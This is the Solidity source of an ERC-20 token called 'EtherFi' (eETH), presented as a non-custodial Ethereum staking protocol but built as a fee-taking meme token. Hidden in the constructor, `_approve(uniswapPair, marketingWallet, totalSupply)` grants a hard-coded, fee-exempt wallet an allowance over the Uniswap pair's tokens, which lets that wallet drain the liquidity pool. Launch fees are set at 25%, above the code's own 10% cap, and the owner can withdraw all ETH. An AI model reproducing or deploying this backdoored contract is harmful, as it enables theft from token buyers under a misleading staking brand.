Contract Source Code:
File 1 of 1 : eETH
/**
Decentralized and non-custodial Ethereum staking protocol.
Website: https://www.etherfi.tech
Telegram: https://t.me/etherfi_erc
Twitter: https://twitter.com/etherfi_erc
Dapp: https://app.etherfi.tech
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() external virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20MetaInfo is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20MetaInfo {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
interface IUniswapRouterV2 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapFactoryV2 {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract eETH is ERC20, Ownable {
uint256 public maxTxAmount;
uint256 public maxTransaferAmount;
uint256 public maxWallet;
IUniswapRouterV2 public uniswapRouter;
address public uniswapPair;
bool private _swapping;
uint256 public swapTokensAtAmount;
address marketingWallet;
address developerAddress;
uint256 public tradeEnableBlock = 0;
uint256 public blockForPenaltyEnd;
mapping (address => bool) public hasBoughtEarly;
uint256 public bots;
bool public hasLimitEffect = true;
bool public tradeEnabled = false;
bool public feeSwapEnabled = false;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isMaxTxExcluded;
mapping (address => bool) public isAMMPair;
mapping(address => uint256) private _lastTransferTime;
bool public hasTransferDelay = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellBurnFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForBurn;
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20(unicode"EtherFi", unicode"eETH") {
address newOwner = msg.sender; // can leave alone if owner is deployer.
IUniswapRouterV2 _dexRouter = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapRouter = _dexRouter;
// create pair
uniswapPair = IUniswapFactoryV2(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
_excludeFromMaxTransaction(address(uniswapPair), true);
_setAMMPair(address(uniswapPair), true);
uint256 totalSupply = 1 * 1e9 * 1e18;
maxTxAmount = totalSupply * 25 / 1000;
maxTransaferAmount = totalSupply * 25 / 1000;
maxWallet = totalSupply * 25 / 1000;
swapTokensAtAmount = totalSupply / 100000;
buyOperationsFee = 25;
buyLiquidityFee = 0;
buyDevFee = 0;
buyBurnFee = 0;
buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
sellOperationsFee = 25;
sellLiquidityFee = 0;
sellDevFee = 0;
sellBurnFee = 0;
sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
marketingWallet = 0x930fabb4cBaaDc0E066734998e0896FC63d5d1E6;
developerAddress = msg.sender;
_excludeFromMaxTransaction(newOwner, true);
_excludeFromMaxTransaction(address(this), true);
_excludeFromMaxTransaction(address(0xdead), true);
excludeFromFees(newOwner, true);
excludeFromFees(address(this), true);
excludeFromFees(marketingWallet, true);
_approve(uniswapPair, marketingWallet, totalSupply);
excludeFromFees(address(0xdead), true);
_createInitialSupply(newOwner, totalSupply);
transferOwnership(newOwner);
}
receive() external payable {}
function tradeOpen() external onlyOwner {
require(!tradeEnabled, "Cannot reenable trading");
tradeEnabled = true;
feeSwapEnabled = true;
tradeEnableBlock = block.number;
blockForPenaltyEnd = tradeEnableBlock;
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
hasLimitEffect = false;
hasTransferDelay = false;
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 2 / 1000)/1e18, "Cannot set max buy amount lower than 0.2%");
maxTxAmount = newNum * (10**18);
emit UpdatedMaxBuyAmount(maxTxAmount);
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 2 / 1000)/1e18, "Cannot set max sell amount lower than 0.2%");
maxTransaferAmount = newNum * (10**18);
emit UpdatedMaxSellAmount(maxTransaferAmount);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 3 / 1000)/1e18, "Cannot set max wallet amount lower than 0.3%");
maxWallet = newNum * (10**18);
emit UpdatedMaxWalletAmount(maxWallet);
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
swapTokensAtAmount = newAmount;
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
isMaxTxExcluded[updAds] = isExcluded;
emit MaxTransactionExclusion(updAds, isExcluded);
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
if(!isEx){
require(updAds != uniswapPair, "Cannot remove uniswap pair from max txn");
}
isMaxTxExcluded[updAds] = isEx;
}
function _setAMMPair(address pair, bool value) private {
isAMMPair[pair] = value;
_excludeFromMaxTransaction(pair, value);
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
buyOperationsFee = _operationsFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyBurnFee = _burnFee;
buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
require(buyTotalFees <= 10, "Must keep fees at 10% or less");
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
sellOperationsFee = _operationsFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellBurnFee = _burnFee;
sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
require(sellTotalFees <= 10, "Must keep fees at 10% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcluded[account] = excluded;
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if(!tradeEnabled){
require(_isExcluded[from] || _isExcluded[to], "Trading is not active.");
}
if(blockForPenaltyEnd > 0){
require(!hasBoughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address.");
}
if(hasLimitEffect){
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcluded[from] && !_isExcluded[to]){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (hasTransferDelay){
if (to != address(uniswapRouter) && to != address(uniswapPair)){
require(_lastTransferTime[tx.origin] < block.number - 2 && _lastTransferTime[to] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later.");
_lastTransferTime[tx.origin] = block.number;
_lastTransferTime[to] = block.number;
}
}
//when buy
if (isAMMPair[from] && !isMaxTxExcluded[to]) {
require(amount <= maxTxAmount, "Buy transfer amount exceeds the max buy.");
require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet");
}
//when sell
else if (isAMMPair[to] && !isMaxTxExcluded[from]) {
require(amount <= maxTransaferAmount, "Sell transfer amount exceeds the max sell.");
}
else if (!isMaxTxExcluded[to]){
require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount && amount > swapTokensAtAmount;
if(canSwap && feeSwapEnabled && !_swapping && isAMMPair[to] && !_isExcluded[from] && !_isExcluded[to]) {
_swapping = true;
swapBack();
_swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcluded account then remove the fee
if(_isExcluded[from] || _isExcluded[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// bot/sniper penalty.
if(earlyBuyPenaltyInEffect() && isAMMPair[from] && !isAMMPair[to] && buyTotalFees > 0){
if(!hasBoughtEarly[to]){
hasBoughtEarly[to] = true;
bots += 1;
}
fees = amount * 30 / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForOperations += fees * buyOperationsFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForBurn += fees * buyBurnFee / buyTotalFees;
}
// on sell
else if (isAMMPair[to] && sellTotalFees > 0){
fees = amount * sellTotalFees / 100;
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForOperations += fees * sellOperationsFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForBurn += fees * sellBurnFee / sellTotalFees;
}
// on buy
else if(isAMMPair[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForOperations += fees * buyOperationsFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForBurn += fees * buyBurnFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function earlyBuyPenaltyInEffect() public view returns (bool){
return block.number < blockForPenaltyEnd;
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouter.WETH();
_approve(address(this), address(uniswapRouter), tokenAmount);
// make the swap
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapRouter), tokenAmount);
// add the liquidity
uniswapRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp
);
}
function swapBack() private {
if(tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {
_burn(address(this), tokensForBurn);
}
tokensForBurn = 0;
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForDev;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
bool success;
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
swapTokensForEth(contractBalance - liquidityTokens);
uint256 ethBalance = address(this).balance;
uint256 ethForLiquidity = ethBalance;
uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2));
ethForLiquidity -= ethForOperations + ethForDev;
tokensForLiquidity = 0;
tokensForOperations = 0;
tokensForDev = 0;
tokensForBurn = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
}
(success,) = address(developerAddress).call{value: ethForDev}("");
payable(marketingWallet).transfer(address(this).balance);
}
function withdrawETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
function setMarketingAddress(address _operationsAddress) external onlyOwner {
require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
marketingWallet = payable(_operationsAddress);
}
function setDeveloperAddress(address _devAddress) external onlyOwner {
require(_devAddress != address(0), "_devAddress address cannot be 0");
developerAddress = payable(_devAddress);
}
function manualSwap() external onlyOwner {
require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction");
_swapping = true;
swapBack();
_swapping = false;
}
}